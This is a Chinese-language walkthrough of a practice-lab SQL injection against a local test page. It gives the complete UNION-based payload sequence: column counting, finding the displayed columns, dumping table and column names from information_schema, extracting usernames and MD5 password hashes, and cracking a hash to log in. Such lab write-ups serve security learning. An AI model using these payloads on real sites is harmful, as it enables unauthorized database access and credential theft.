目录
1.首先需要对?id内容进行测试,测试内容字段数量是多少,回显的页面信息是多少个等。
1.1:测试字段数量
在http://127.0.0.1/test.php?id=1中,在后面添加order by n即可查看字段数,其中n表示数 字,该sql语句意思是表示按select的第几个字段进行排序,也就是说当数字数量超过字段数后 ,页面则会报错
为4时显示正常
为5时显示异常
由此基本可以判定当前表中有4个字段
1.2:测试回显内容数
回显内容数量需要使用sql语句union,在http://127.0.0.1/test.php?id=1后添加union select 1,2,3,4,首先select 数字时,只会显示数字内容并且可以不用添加from的表信息
其次union联合时需要两个表中的字段数是一样的,故这里需要select 1,2,3,4,至于为什么 是1,2,3,4其实只是为了好判断是第几个字段,实际是可以随便设置内容的。
这里举例union的使用,两边查询表需要字段数相同
我们知道http://127.0.0.1/test.php?id=1是"相当于"select * from xx where id=1的,那么我 们可以将id设置为-1,这样查询结果依然会有,只是没有内容。
做了这么久的铺垫其实就为了一个目的,由于设计的页面,在连接数据库后,只设置了几个 显示view,用于显示数据库中数据,那么我们就要进行测试页面有几个view能显示几个字 段,我们通过http://127.0.0.1/test.php?id=-1 union select 1,2,3,4,就可以查看显示4个字 段中哪几个字段了
可以看到他有2个view,且显示表中的第二个字段和第三个字段,这样我们就可以使用 mysql中的函数索取信息了
2.信息获取
2.1:用户名和数据库名
根据上文中我们知道4个字段中他只显示了2,3字段,我们将2,3改为mysql中的user(),database()函数,就可以查询到具体数据库的信息了
信息获取的路径按照用户名->当前数据库名->表名->字段名的顺序进行查找,查询的目的 是为了找到数据库中存放的账号和密码,而查询账号和密码需要找到表名和列名,我们都 知道mysql数据库目前版本带有information_schema数据库,其中设有所有表名和列名
2.2:表名和列名
已知我们知道数据库名的,那么我们就可以根据数据库名找到该数据库有哪些表,使用 http://127.0.0.1/test.php?id=-1 union select 1,database(),group_concat(TABLE_NAME separator ';'),4 from information_schema.TABLES where TABLE_SCHEMA='mozhe_Discuz_StormGroup'
何为group_concat呢?它可以将同一个字段下的行拼接在一起,并且可用separator进行分隔符分开
找到具体表名后,我们需要选取筛选出存有密码的表,从英文名称来看我们可以先行选用stormgroup_member表进行查询列名,使用sql指令http://127.0.0.1/test.php?id=-1union select 1,database(),group_concat(COLUMN_NAME separator ';'),4 from information_schema.COLUMNS where TABLE_NAME='StormGroup_member'
至此我们已经获取到了name和password的字段,接下来就是查询字段值进行登录了
3.用户登录
3.1获取账号和密码
由于我们已知了字段名了,且已知表名,于是就可以通过http://127.0.0.1/test.php?id=-1union select 1,group_concat(name separator ';'),group_concat(password separator ';'),4 from StormGroup_member直接获取账号和密码字段下所有值
3.2密码解密
获取到密码和账号后,可以发现有2个账号和2个密码,我们需要对其进行选择,并且观察密码特性可以发现它是由英文字母和数字构成的32位md5加密(也可能是其他加密形式),但是我们这里可以先假定尝试,这里我们选取第二个密码并且打开md5解密进行解密尝试
成功解密就可以进行登录尝试了
至此sql注入实战结束
4.实战内容总结
sql注入实质是通过sql语句对于其过滤不严谨的一次语句执行,说白了就是通过sql语句执行相关内容,对sql语句的学习内容要求较高,需要熟悉sql语法和数据库环境,另外如果不知道账号和密码存放表是很难进行查询的